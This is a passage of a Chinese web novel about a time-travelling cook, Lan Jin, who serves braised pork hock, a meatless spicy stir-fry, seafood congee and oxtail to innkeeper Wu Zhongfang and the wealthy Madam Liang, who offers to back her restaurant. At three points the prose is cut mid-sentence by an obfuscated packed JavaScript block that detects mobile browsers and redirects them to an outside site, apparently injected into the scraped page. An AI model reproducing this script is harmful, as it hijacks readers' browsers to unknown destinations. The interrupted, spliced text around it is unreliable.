朱红的肉汁，顺着软弹浓香的蹄髈皮，慢慢地往下淌。 中心那根大骨头，好像一提溜就能被光杆子拈出来似的。 观众的口水在这一瞬间达到了顶峰。 冰糖炖蹄髈的底下，铺了一层嫩菜心，边上还有一朵精心雕好的青萝卜花。 青红相间，分外勾人食欲，卖相极好。 随着蓝锦的示意，众人一拥而上，不约而同地拿筷子去夹那块一直duangduang勾人的蹄髈皮。 吸溜一口，好像直接化在了嗓子眼里！ 滋味是咸甜得宜的，肥而不腻，多一分则多，少一分则少。 再夹一块粉红色的软嫩瘦肉，也是入味极了，好像抿一抿就全都烂在嘴里了似的。 此时已有人抓耳挠腮，极想配上一大碗米饭。 又有些歆羡万年县的食客，原来他们每日吃的都是这样的细糠！ 蓝锦就是这样善解人意，神秘一笑。拿出了自己刚焖好的一大锅米饭，捧出碗勺，吆喝大家来盛。 众人又是一哄而上。 扯下一大块朱红津亮的蹄髈皮，裹着一口白米饭。塞得满嘴吃下肚，神仙来了也不换！ 舀上一勺酱红色的蹄髈汤汁，浇在白米饭上，把软烂的粉色嫩肉搅在其中，往嘴里扒拉一大口。 唉！太满足了！ 好想每天都能吃上这冰糖炖蹄髈啊。 蓝锦在一旁笑着观赏。 陈厨子那边人气没那么高，倒还是笑呵呵的，主动来蓝锦这边夹蹄髈吃。 “蓝老板，雷这猴香啊，雷放升，我木会撒赖。” 还盛了一碗腌笃鲜，邀蓝锦尝自己的手艺。 蓝锦舀了一勺子汤，在口中一抿。嗯，确实不如她做的菜色。 她的舌头猫一样灵，这道对鲜味的要求登峰造极的菜，叫她尝来倒觉其中腥味。 “这豆结用的豆子和水不算上好。或许你可以先用开水烫烫？咸肉也提前多泡小半时辰，去去腥味。其实当下不是吃笋的季节，为何要选这道菜？” 陈厨子悄悄地挤眉弄眼，说道：“嚼牌菜，出名。” 蓝锦便笑着搁下了。这个吴大掌柜啊，就是有几分“但我偏要勉强”的强制爱在身上。 43. 第43章 饶是蓝锦做了好一段时间生意，接触了形形色色的人，也没见过吴仲芳这样精于此道的。 吴掌柜竟然把她刚做好的冰糖蹄髈，一份份盛出来，挂了水牌，立时叫价—— 三两银子！ 蓝锦目瞪口呆。 即便是在寸土寸金的天都东市，这道菜也显得昂贵了。 可听雪轩的客人们没觉得有任何不对。除了特地跟吴大掌柜压低声音，窃窃私语：“这个也是......吃过的吗？” 吴仲芳笑得真诚：“是，就是的！还不是仿制品，是原作噢！” 仅有的几份立刻就被抢购一空。 “梁老夫人，您也不是头一回来我家了，怎能又来拿我寻开心呀！您不能吃就是不能吃，若叫您家碧桃知道，您又一个人偷溜出来，吃这些油腻的大荤之物，我可收不回帐上的钱了！” 吴仲芳罕见地露出些无奈。 梁若虹却不吃她这一套，自袖间排出一锭银子：“喏，拿去！我老婆子半截入土了，在这世上没什么牵挂了。孤零零一个，就好这一口，你还不让我吃？” 一直见钱眼开的吴仲芳，却不看那银子，只牢牢攀住梁老夫人的手腕： “老夫人又说孩子话了！怎么能是孤零零的，您不是在菩萨面前供了五十年的大海灯吗？缘分到了，瑾娘就回来了。您忘了怎么答应兰佩姐姐的吗？” 梁若虹的长女朱兰佩，对吴仲芳有知遇之恩。 这座听雪轩，是尚未出阁的朱兰佩，拿出了体己银子；自乐坊赎了吴仲芳的身，一手投钱办起来的。 她说：“芳娘子，你生性要强，又玲珑剔透，定会有好结果的。” 吴仲芳收拾了哭花的妆面，扔了头上的红绢花，上了这位英姿飒爽的姐姐的马车。 可惜，她们只有过那一面之缘。 “好啦”，梁若虹主动把这话翻篇。宛若没事人一般，笑得促狭：“就为着哄我高兴，便给我上一份冰糖蹄髈吧。” 吴仲芳再说不出什么推辞的话，只能抿抿嘴退出包房。 “蓝娘子，你可懂什么荤菜素做？好比说，用素食做出冰糖蹄髈的样子？”吴仲芳来后厨询问蓝锦。 蓝锦诧异道：“莫不是吴大掌柜家还有供奉佛祖的需要？” “不是，但也差不离了！哎，若你真能用素食做出冰糖蹄髈这个滋味，那肯定风靡全天都啊！” 蓝锦道：“我懂吴掌柜的意思，但我可做不来。这不是素食不素食的问题。红烧菜，本身就油多、糖多、盐多。无论如何，也比不上水煮菜、白水煮肉那样健康清淡的。” “哎，我知道是难为了蓝娘子”，吴仲芳又掏出一张银票。 “这个蓝娘子且先收着。有没有那种滋味特别的素食？不是一般的佛供素斋滋味。是能像冰糖蹄髈那样，让人拍案叫绝的，就好了！” 蓝锦问道：“豆腐这种能不能用？” 吴仲芳见有戏，欢喜道：“那可以，那可以。只要不是大荤之物，那便没问题！” 蓝锦又细细问了能不能用辣，得到了肯定的答案后，有了主意：就做素版的麻辣香锅。 豆蔻、胡椒、花椒、孜然这样的香料，拜琴姐姐的母亲所赐，蓝锦现下手头不缺。 她刚要从包袱里拿出这些，吴仲芳先一步拦下了她：“嗳，蓝娘子这是臊我来了，哪能让你出力又出料。” 说罢便招呼人自库房取来了新鲜的调料：“蓝娘子瞧着，可还需要什么东西？” 蓝锦笑道：“没了，只是想问问吴掌柜，素的忌口可是绝对严格？人若只吃素食，并不利于寿数。像虾子这样的肉类，偶尔也可以吃一些的。” 补充高蛋白嘛。 吴仲芳一拍板允准，蓝锦这边就热闹地做起来了。 滋啦作响的油锅里倒进葱、姜爆香。林林总总的香料，都扔进去，炸得喷香。 再往里头放入一些茱萸，又加入腌制得宜的豆瓣酱。鲜红色的酱汁里头，和上一些糖来提鲜，撒入自酿的味极鲜搅匀。 随着大勺的翻炒，呛鼻子又勾鼻子的浓烈香气四处逃蹿，把灶间的学徒们都刺激得一跟头。 帮厨送来切配好，或煮过，或泡软的莲藕、木耳、芹菜、山菇、豆粉条、腐竹...... 把所有食材都放进锅中，进行最后的炒制。每种食材上都沾上了炒熟的白芝麻。 麻辣是一种极具魔力的调味。 它视觉刺激性强，红艳艳的色彩，即便相隔千里，也能让屏幕外的观众，恨不得把舌头伸进手机另一端。 火遍大街小巷的川渝辣火锅，在一众饭馆之间，总是能凭借极具传播性的气味，攫取每一位过路客的注意力。 待到吃进嘴里，发了汗，涕泗横流，是一场从内到外的酣畅体验。 哪怕再没有食欲的人，碰上辣味，总能打开味蕾。 蓝锦的室友年纪轻轻罹患脂肪肝，体检医生劝她晚饭只吃水煮菜。为健康计，她吃得眼眶发绿又跳脚，就是靠蘸辣椒面度过的。 辣一点的用“单山”，不那么辣的用“六婆”，总有她喜欢的一款。 前世的经验叫蓝锦格外关照：“里头没放多少茱萸。辣酱搁在一旁，若不够辣再加。麻辣虽好吃，只怕有些人肠胃吃不消。”虾子也单盛一碗。 吴仲芳满口答应。她本还对一锅乱炒的菜色持怀疑态度——这味道不就串了吗？ 现下一做好，她却耐不住了。自己就拿了个小碟，盛了一份端去一旁。 这样夺目的色彩和霸道的气味，早已勾人在脑海中想象了各种各样可能的滋味。 油润红亮的颜色，伴着花椒和茱萸的香气，悄然刺激着唾液分泌不停。 一旦送入口中，五感瞬时爆发。先是扑入鼻腔的辣香热气，接着是麻辣攻击，在舌尖扩散。 像有无数条小溪，密网一般席卷味蕾。烧灼般的火热快感，直叫人欲罢不能。 沁入了红油中的香料味道，从唇齿一路铺陈到胃肠。 吴仲芳吃过的莲藕要么是清香淡雅的，要么是甜美的，从未有这边爽脆中带着咸辣的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541986|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 木耳和豆粉条是最裹味的，调料和红油遍布全身。软糯和艮韧的口感，叫她尝出了三分趣味。 腐竹这样的豆制品更是在酱汁里浸得刚好。一口咬下，弹嫩柔软，里头藏着的汤汁都迸出来了，吃得人满头大汗。 每一口都是刺激，每一口都是满足。 咸香、辣香、酱香，在高温与热油作用下融合得恰到好处。 无论是什么食材，都能在这种底味里，发挥出自身最浓的鲜香。 麻椒的力量更是不容小觑，迫着唇舌一次次冲向高峰。吴仲芳只觉得自己的嘴巴肿得发酥，却不愿停下筷子。 她好像被这锅平平无奇的“乱炖”诱惑了。脑海中只剩下一个念头：再尝一口，再尝一口。 梁老太太也不能免俗。 蓝锦刚听罢吴大掌柜讲旧事，关于这位雅好饮食的老太太。一时好奇，便亲自来送余下这道烟熏素鹅。 这一瞧不要紧，梁老太太竟然把一盘子的麻辣香锅吃下大半！ 里头的菜叶子都好吃，脆而不软，鲜而不过咸。明明也是过油炒的，却不觉腻味。 特别是肉头的木耳，谁曾想过辣味的也这样好吃。同样的口感，往日吃的那些燕窝银耳，倒让人嘴里淡得发苦！ 蓝锦笑眯眯地瞧着梁老太太，询问道：“老夫人，可还合口？辣不辣？我便是厨子，您有何建议直接与我说。” 梁若虹抬眼一瞧见蓝锦，微怔了一会。她拿帕子掩面拭唇，只道：“合口极了。我便是吃了大半辈子的美味，也少有见过这样合口的。” 蓝锦又呈上手中的素鹅：“这是拿熏过的豆腐皮做的，虽是过油煎的，但油搁得并不多。您放心吃。” 梁若虹笑赞蓝锦的贴心，夹下一小块来吃了。 “素鹅”，这名字，极易叫人觉得是柔和清淡的菜色。可一放进嘴里，才知远非如此。 若有若无的烟熏香，使豆皮的滋味有了托底的复合味道。它并不清淡，却自有一种持久的独特感，萦绕唇齿间。 一层层薄豆皮压得紧实，又叫牙齿层层咬破。外层是略带焦脆的韧，里层是吸汁嫩滑的软。 调味的咸鲜最大限度地发挥出豆皮的豆香，回口还有一丝甜味。 酱的搭配，彷佛是掌勺之人刻意为之的把戏——待食客刚想说过浓，素鹅的内里便抛出一股清醇的豆香来中和。 若是口重的人，大可以每一口都蘸上浓浓的酱汁，吃的便是那股浓烈。 梁若虹依依不舍地放下筷子——闻讯赶来的碧桃立在她身旁，虎视眈眈地盯着她。 “小娘子，你厨艺当真极好，可曾有什么师承？” 蓝锦叫她问得一愣，只含混道：“只是看了些书，又自己各处学来了......” 这话倒也不错。前世，她在不同地方学过厨，自己也用心钻研。 梁若虹心里嘀咕：识文断字，当是大家之后。缘何...... 她笑得更加慈爱：“老身家中倒是有些珍藏的食方食经，你可想去看看？” 44. 第44章 蓝锦自来了此间，渐渐对这里也有了认知。食方食经这样的东西，也是大家族里内部垄断，足以传家的。 她暗道不好，自己不该说，是看了些书。这和自己一个乡下来的女娘身份不符，经不起推敲。 她便想客客气气地推拒了，尽早抽身。谁想到，人未至语先来的吴大掌柜又爽朗地笑开了： “这敢情好啊！蓝娘子你就去一去。我做着梦都想要把梁老夫人家的宝方给套来，可人家捂得紧，不给我这样的俗人看。” 梁若虹笑嗔道：“皮猴子，你多早晚要看的？来来来，我这便差人把家中书阁都拆了来，全砸到你这吴大掌柜的地界。” 吴仲芳笑着讨饶：“我该掌嘴，该掌嘴，敢把玩笑玩到老夫人的头上！我实在是瞧着这孩子跟您投缘，想叫她跟您多亲近呐。” 梁老夫人这两年孤单一人，甚少对什么人事产生兴趣。也就近来常往听雪轩跑。大概，是因为这里和老夫人的长女有些关联吧。 朱姐姐留下来的东西很少。紧紧护着的独女，还叫人弄丢了。 吴仲芳有意促成这段美食之缘，两厢说好话。只把梁府夸得天上有地下无，说得蓝锦都快心动了。 她又笑道：“老夫人的眼光实在上佳。我原想着，留下蓝娘子，便是我听雪轩吸引天都小娘子的秘密法宝。您不知道，连萧二郎君都追捧她家呐！” 梁若虹脸色更是惊疑：“萧国公府的萧二郎君？” 吴仲芳道：“可不是嘛！那酸辣海鲜粉，可掀起了不小风波。” 她一边向蓝锦投来歉意的目光，一边说道：“原先是我考虑不周，惹了蓝娘子不快。好在，蓝娘子大人有大量，不与我这铜臭小人一般见识，还愿来我这做菜。” 这是好几头的话，听得蓝锦云里雾里，满腹疑问。吴仲芳丝毫不给她思考的机会，满脸真诚道： “这些都不必提了！蓝娘子，你真不愿去梁老夫人家见识一番吗？我敢保证，定会大有裨益的！” 若蓝娘子有所体悟，厨艺能更上一阶；而听雪轩又能聘了她来，那便是你好我也好的事。 就算不能如意，单凭蓝娘子给梁老夫人精心烹调的合口菜色，也值当让二人多接触接触。 权当为了撮合梁府聘厨娘，替梁老夫人调理身子了。 朱姐姐若泉下有知，也能更安心了。 ** 蓝锦到底还是来了梁府。 碧桃盯着梁若虹吃饭时满脸凶巴巴，为人却是和气极了。 她留下来，接上厢房里的小秋，单独安排了一辆宽敞的马车，领着姐妹二人一道回了家。 蓝锦刚一迈进厚重的朱门，一股浅淡的桂花香便萦绕鼻尖。 这种植物本不宜在寒时生长，必得有暖房和行家精心伺候，才能成活。 再看穿戴整齐的仆妇，皆是各司其职，眉眼都不斜过来打量一丝，显见家风极正。 蓝锦穿过回廊，一路经过的窗棂，无一不是雕了花鸟的。与树荫里传来的鸟鸣声相得益彰，让人从内到外沉静下来。 碧桃将姐妹俩引至书房。梁若虹已经在此处等她，见她们过来，笑眯眯地请姐妹俩坐下。 桌上各搁了一盏小吊梨汤，一份酥黄独。 小秋第一次来这种贵气的人家，倒也不怵。 人小小一只，窝在红木圈椅上，脚尖碰脚尖，只是悬空着碰不着地。 “这是我家常喝的饮子，蓝小娘子你们也尝尝。我瞧着，比那些拽文的苦茶汤要好。” 梁老夫人率先举起一盏茶汤，抿上一口。 蓝锦险些“扑哧”一笑，和小秋对视一眼，各自捧着梨汤来喝。 好喝！甜蜜暖胃，清爽温润。这个时节喝上一口，只觉得五脏六腑都被熨平了。 梁若虹不着痕迹地打听了姐妹俩的情况。可曾读书识字？缘何独自来天都？爱吃什么菜色？ 年纪对得上，样貌也像......可人家有家有户，是一对堂姐妹；且行事喜好，也没什么相似之处了。 梁若虹心中一叹，倒是暂时罢手了。 她像是正经来请蓝锦看珍藏食经、食方的，口中念念有词，给蓝锦出考题： “我瞧这《清供方》上头说，有一种‘河枢粥’，是南人的做法。说将干鱼浸洗切丝，又搁米，又搁酱，还要搁胡椒，竟有医头风之效。小娘子可能做得？” 河枢，其实就是干鱼。蓝锦只一听，便胸有成竹：“这不过是咸粥的做法，北人不惯吃罢了。” 梁若虹轻轻摇头：“我过去也这样想。读了这则，便心生向往，可试过之后，不是干鱼刺软难除，便是腥中带着咸臭。粥米既没有河鲜之美，又叫怪味道糟蹋了。” 蓝锦自告奋勇道：“只是食材处理和调味上的手脚罢了。而且，咸粥不拘于只用干鱼来做。如果老夫人信得过我，便让我来试试。” 梁府的厨房，比蓝锦见过的任何一个厨房都要宽敞、奢华。足足占了一整进，包括几间正房，双侧耳房和一个小院。 蓝锦暗自咋舌。 都说都城居大不易，无论哪个时代都是寸土寸金。旁人都说，奋斗半生也买不起一间厕所。 她自认顺风顺水，还当自己日后至少能买下一间厨房—— 要是这种厨房，那可是不敢肖想了。 厨房南侧是几口大灶，东侧是紫檀木的柜子，山珍海味，无所不有。 傅大娘笑得一团喜气：“蓝娘子这边请，碧桃早先来知会过了，这里的东西随便使用。” 蓝锦笑着点头致意，自去水池里挑了好些弹跳的虾子，个头都不小。 帮厨知趣地上前，询问蓝锦的打算。问清之后，便主动去把刺人的虾头剪下，放在碗中。 再像蓝锦演示的那样，从第二节壳子处一挑，去了虾线。 蓝锦一番检视，考虑到梁若虹的年岁，只少拿了些瑶柱和海鱼干。 她把香菇切成薄片，下了油锅，小火煸得香香的。 往处理好的虾仁上撒些胡椒粉腌一腌，蓝锦再起了热锅，把虾头炒出虾油。 往里头倒些清水，金灿灿的一片。咕嘟一小会，就变成鲜美浓郁的虾汁子了。 虾汁倒进砂锅里——蓝锦出远门特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541987|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意带的——要么说她是酒楼老板呐！ 大米、瑶柱、去骨切丝的海鱼干，也都倒进去。先用大火煮开，再使小火慢炖。 再耐心等上一会，便把油香四溢的煎香菇片倒进去。 蓝锦接着在自己的藏蓝棉布挎包里寻摸。 刚才，她掏出了一个砂锅。现下，又掏出一瓶芝麻油和一罐芝麻酱。 只把旁边排排站着围观的傅大娘她们，看得目瞪口呆。 蓝锦挖了一勺芝麻酱，往锅里头一边倒，一边搅。香气越来越浓，越来越浓。 腌制好的大虾仁，也倒进去。煮得红红的，再撒点薄盐和葱花。 海鲜的鲜香扑面而来。蓝锦点了几滴芝麻油，拿勺子一翻拌，便要去寻帕子端砂锅。 一时不察，叫热气哈了手，“哎呀”一声，拿两只小烫手捏住自己耳垂降温。 傅大娘赶紧上前，递了托盘给她。 蓝锦给梁老夫人端上这锅。其余剩下的，她问过碧桃，便给厨房里的姐姐们分了。 大家围坐一团，小嘴嘬得浑圆。一个劲儿地吹着热气，再一口抿进胃里。 小秋正和梁若虹分食一碟金丝卷。 一老一小已经移步到小榻上，有说有笑。 有只白毛狮子狗一直绕在小秋的脚边，似乎也想吃，不停地用小鼻子蹭她鞋子上的红穗。 这场面温馨极了。让不知道内情的人瞧见了，还以为她们是亲祖孙。 蓝锦领着身后鱼贯而入的丫鬟姐姐，将砂锅粥端上紫檀木桌。 梁老夫人笑道：“闻着就极好，比我们之前弄出来的那锅好多了。” 蓝锦抱起一骨碌滑下地的小秋，守在旁边：“您尝尝看滋味如何？” 梁老夫人只管执着蓝锦的手，要她一同上桌。 三人在桌边坐下，梁若虹率先舀起一勺尝了一口。 啊！舒服呀。 秋意渐浓，寒气逼人。日渐干燥的节气里，在氤氲的热汽里与人共享一份热粥，是快乐事。 梁若虹显然就很识得这种意趣。 更不要说，这份咸粥，既有名贵食材带来的鲜美，又有家常风格带来的平实、熨帖。 恍惚间，梁若虹有种错觉，她们好像已经这样吃过无数顿饭。 梁若虹柔声道：“蓝小娘子不过看了眼食方，便能做出青出于蓝的美食，聪慧，灵透。我观你年纪不大，家中父母可还健在？怎会耐得住这般辛苦，养出这样好的手艺？” 蓝锦瞧了一眼小秋，轻声道：“都不在了，现下家里只剩我们姐妹两个。” 梁若虹心头一动，表面却不动声色，致了声歉，把话题揭过了。 待三人用罢咸粥，皆浑身热烘烘的，有说不出的轻松。蓝锦食方看也看了，谈也谈了，正准备告辞。 梁若虹拦住了她：“蓝小娘子，我上了年纪，整日闲散无事，好容易碰上你这样合眼缘的小娘子，实在不舍。这样，我来投银子，你把食店开到天都来，如何？” 一听这话，正在恋恋不舍地跟狮子狗玩耍的小秋也抬起了头，眼巴巴地望着蓝锦。 45. 第45章 蓝锦微微一怔，睁大了眼睛，心中惊诧：天都开食店？ 嘴上倒还是温温和和的：“老夫人说笑了，我现下不过是小打小闹，还是外乡人。天都这地方藏龙卧虎，若无异于常人之处，食店也难长久。况且......无功不受禄，怎能当得老夫人厚爱？” 梁若虹只管笑道：“你且说你想不想把食店开到天都？” 那自然是想的，若非有意于此，她也不必走这一趟了。吴掌柜虽然为人热烈了些，却也并非强人所难之辈。 梁若虹也是如此说：“如果你执意不肯，也不必往听雪轩走一遭。” 蓝锦笑了，大方承认道：“是。我是想在天都开一家自己的食店。去听雪轩，也存了观摩取经的意图。只是，现下我还没有足够的积累......” 梁若虹摩挲着一本本食方子，像是在透过它看什么人，口中只道： “你这孩子心诚，又剔透。我把银子投给你，也没什么别的想头......我子女缘太浅，只当是为小辈积德了。” 话都说到这份上了，此时再推拒，便显矫情。 蓝锦便干脆道：“如果老夫人真信得过我，我愿立誓：一年之内，便将老夫人的本钱，以红利的形式，三倍奉还。” 梁若虹也爽朗一笑，眼角的笑纹都透着一股子慈爱：“好，我就欣赏这样爽利的小娘子。” ** 灰布头巾的伙计殷勤地跟在小秋身边打转，笑道： “小贵人，这条帕子绣了秋雁南归，五百文。” 小秋举棋不定，又拿起一枚玉兰花的香囊：“那这个呢？” 伙计更喜：“一两银子！” 越选越贵，小秋回头对自家阿姐吐了吐舌头。 蓝锦笑眯眯地对伙计道：“都包起来吧。” 伙计喜不自胜。爽快不多事，他就说自己没看错。这两姐妹虽未带仆从，可气质从容镇定。 何况，他瞧得真切——人家好像是从梁府的马车上下来的！ 天都最出名的梁家，谁人不知？当年，那位是跟大长公主一道纵马游园的。 年轻气盛时，甚至大闹秦楼，豪掷红绡，为全楼歌女赎身。 现下上了年纪，低调几分。加上和离别居，一心寻孙，修身养性起来。但谁敢小瞧了她家？ 蓝锦挽着小秋的手，赞道：“小秋挑的花样子别致，香味也清幽，梁老夫人会喜欢的。” 她是和小秋一起考察天都食店、点选供货商的。 走到这绣坊，瞧着装潢精致，临时起意，来为梁老夫人挑个小礼物。 买礼物这事，小秋格外积极。因为梁老夫人，把一只刚出生三个月的小狮子狗，送与她了！ 她最近，恨不得一天跑梁府八百回。去看一看自己的小狮子狗，有没有长大一点。 蓝锦都无奈了：“那边有菱花镜，你去瞧瞧你自己，今儿能比昨儿长大多少？” 小秋只管嘿嘿傻笑，却还是孜孜不倦地扯着阿姐，一趟一趟地往梁府跑。 蓝锦跟梁老夫人身边的碧桃都熟识了起来，已经能聊些家常了。 碧桃跟她念叨了许多梁老夫人年轻时的事。说到那些老夫人爱去爱玩的地方，她就鼓捣蓝锦：“蓝娘子不妨也去试试。” 蓝锦玩心也不小，还真去了。 一来二往，蓝锦也不得不承认，自己简直有些乐不思蜀——天都城的好东西确实太多了！ 姐妹俩这几天去茶楼听了说书，去街头看了杂耍。 还去逛了成衣铺子，马球场和首饰店。琳琅满目，应接不暇，快走不动道了。 蓝锦也没有忘了走到哪、吃到哪的爱好。 尝了石髓羹、犒腰子、槐叶冷淘、插肉面、长鱼兜子...... 还有那种汤饼小店，门脸上挂了一整溜的半扇猪肉、羊肉，好不壮观①。 尤其是有家卖黄鱼面的小店，蓝锦吃了好几回。其鲜其香，叫人欲罢不能。 她恨不得跟老板加个微信，这当然没可能。她转而去和老板打听，这么好的海鲜，是从哪里进货的。 暮色四合，梁府正院里却欢声笑语。 梁老夫人见惯大风大浪，此时看着两腮飞红的小秋，羞答答地捧着并不昂贵的绣品： “这是我挑的，送给老夫人......” 她仍喜得神采奕奕：“哎，好！” 梁若虹当即唤来碧桃，拿过一个漆红匣子：“这个璎珞项圈，活泼有生趣，配我们秋姐儿最合适了。” 说罢就要帮她戴上。小秋不知如何应对，刚要摆摆手。 梁老夫人便对蓝锦道：“我倚老卖老，平日身边又冷冷清清的，今日便占一占你们姐俩的便宜。便认小秋做个干外孙女，如何？” 蓝锦不懂这些世家礼仪，也是无措，只答道：“这，这却不必吧。小秋喜欢来叨扰您，您不嫌弃，便让她常来玩就是了......” 碧桃上前打圆场：“老太太！又整日编派我们的不是。我们这么些人，成日杵在这里，您倒说冷清没人陪，吓都把人吓跑了。以后您看谁打秋千？看谁跟小狗讲笑话？” 她又去跟蓝锦说：“蓝娘子，老太太不过是一时凑趣，想听人叫一声‘外祖母’罢了！你可别多心啊，咱们捧着她，白叫她一声就是了。” 蓝锦松了口气。 小秋倒是听懂了，甜甜地把脖颈搭上梁若虹的手，钻出个小脑袋：“外祖母，给你！” 梁若虹笑着，把璎珞项圈戴在小秋的颈间：“喏，这是你们这个年岁戴的......好看！” 看着此间其乐融融的样子，碧桃只说庄子上难得有牛尾骨送来，将蓝锦引了出去。 “老夫人常给小娘子们送这样贵重的东西吗？”蓝锦委婉问道。 其实她想说：梁老夫人常当散财童子，与刚认识几天的陌生人撒钱认干亲吗？ 碧桃哭笑不得：“也不是。老太太......她是古道热肠了些。自从我们家姑娘出阁，便常说自个孤零零的。姑娘又撒手去了......留下一个掌珠，叫夫家弄丢了去。老太太狠闹了一场......又拢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541988|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了钱，和离出来自个住。因此上，才对年轻女娘们更和蔼些......” 碧桃一边说着，一边着意观察着蓝锦的表情变化。 但见蓝锦一时神色哀悯，一时满脸揪心，一时又松口气，一脸佩服。 碧桃心头微松，觉得老太太这回没看错人。 庄子上的好牛尾骨并不是托辞。蓝锦仔细瞧了成色，倒当真好。 配着一块来的还有一些大棒骨，原是给仆役们留着的。 蓝锦领着傅大娘她们，一起都收拾了。卤汤炖得香味四溢，把不当值的下人们都引来了。 刚炖好的红烧牛尾骨和酱香大棒骨，使粗犷的大铜锅装着，端上了梁老夫人的餐桌。 “呀！”这架势连梁老夫人都给唬了一跳。 蓝锦笑得满脸温柔，给梁老夫人夹了一块。 牛尾骨炖足了时辰，牛肉紧致完整，小山似的堆在一起。汤汁浓稠，又麻又辣的香料味直冲天灵盖。 夹起一块来，牛肉简直要顺着筷子滑到人的手腕上，只留下一根三角骨头。 牛肉汤汁充斥着浓郁的肉香。蓝锦做着示范，舀上一勺浇在碧粳米饭上，再挖一勺放进嘴里。 嗯！享受！ 牛尾骨也吸满了汤汁。 此间都是自己人，蓝锦豪迈地往嘴里一放，无声地嘬上一口，只觉肉汁子一下在嘴里爆开。 “老夫人您尝尝，就是这样不管不顾地用手拿着啃，才香呐！” 梁若虹叫她带的，一时忘了什么大家礼仪，只当自己也是个无忧孩童，竟半真半假地与小秋抢了起来。 小秋啃骨头啃的，脸颊上挂着几滴红褐色的肉汁。 她也拿起一块牛尾骨，慢慢从里啃到外，连腔子里的骨髓都敲出来吸一吸。 这滋味是真的不错。就连那些裹了肉汁子的萝卜都好吃。 炖得又烂，吃起来清甜，还吸饱了牛肉的荤香。 蓝锦一口一个，全然不顾那滚刀块萝卜切得有多大块，力求不叫一丁点汁水从舌尖跑掉。 酱香大棒骨又是另一种滋味。这本是上不得台面的东西，蓝锦却大剌剌地将它端上餐桌。 梁若虹一开始还犹豫，此时却是跟着姐妹俩一块沉迷。 其实蓝锦是粗菜细做。棒骨上面的骨头渣子被洗得干净，啃起来很省心。 贴骨肉连着筋络，肥瘦相间，皆浓浓地入了味。不止颜色变成了赤红的诱人模样，味道也足够咸鲜。 棒骨肉比牛尾骨还要多。 若说吃牛尾骨，吃的是一种满口油香的牛肉脂肪感；那么吃大棒骨，就是吃那一口咬下去、瘦肉扎实的纯肉满足感。 更不用说那肌间脂肪分布得刚好，加上炖煮的时间不长不短，吃起来一点也不塞牙，只是软烂可口。 蓝锦是牛尾汤泡饭派，小秋是酱骨汤泡馒头派。 梁若虹左看看，右看看，把两锅里的汤汁各舀一勺，皆倒入面前的饭碗里。 蓝锦刻意营造天伦之乐的亲热气氛，把半推半就的碧桃也拉上了桌。 46. 第46章 碧桃一开始还有些放不开。一错眼，蓝锦再去瞧她—— 她已是稳准狠地下手捉住所剩不多的牛尾骨，虔诚地啃掉每一丝肉。 这么多人的饭量都比不得傅大娘。厨房那桌的肉量，只比正院的更多。 见桌上的每个人，都拍拍肚皮向后瘫倒—— 傅大娘从容地把桌上剩下的那些，全连汤带肉倒进自家碗里，狼吞虎咽地吃完了。 这边，碧桃对着满桌子空空如也的盘子，笑着打趣： “原先还好奇，为何雷厉风行的吴掌柜，非要缠着蓝小娘子留下。吃上一回，我可就全懂了。” “豕肉这样的东西，我是头一回吃到这么好的。”梁若虹也点头。 蓝锦心下好笑。 如今还没有东坡居士，来改造上流人家的口味。若是叫他们吃上了红烧肉、酒香坛子肉、回锅肉......那还得了？只怕天都猪贵。 “蓝娘子可如何做到的？我们乡下人家倒吃过豕肉，那也是我儿时的事了。不过白水一煮，拿出来切片蘸蒜罢了。连皮带肉，臭烘烘的，我实在爱不过来。” 碧桃笑得真诚，有意与蓝锦谈自家出身，叫她放松。 蓝锦从包袱里掏出几个瓶瓶罐罐，茴香，豆蔻，八角，桂皮...... 笑得俏皮：“有这个！我也是撞了大运，如今香料管够。” 她与大家讲了如何救了琴姐姐、如何因食店宣传画，助她寻到双亲。 碧桃小心觑着梁老夫人，见她果然满眼泪花，忙给她递来帕子。 老夫人只道：“这是好事，我是高兴，为她们家高兴！” 她念了句“积善之家有余庆”，复又夸蓝锦这是做了莫大的功德。 蓝锦赶忙道：“我只是想说，世事终归是柳暗花明。各人惦念执着的事，或许哪天就意外实现了。就像琴姐姐的家人，最终不也得偿所愿了吗？” 梁若虹知道她在宽自己的心，估摸着碧桃说了什么。瞧了眼躲到一边的碧桃，只道：“但愿如此。” 小秋看不懂太过变换的情绪，只接着啃手里的牛尾骨。还煞有介事地对梁若虹说道： “外祖母，锅里的那块你还抢吗？你若不吃了，小秋这次可不让给你喽。” 梁若虹爱怜地擦一擦小秋的鼻尖：“怎么不吃？我要吃，快来跟我抢一抢，谁抢到便算谁的。” 饭桌上的气氛重又欢快了起来。 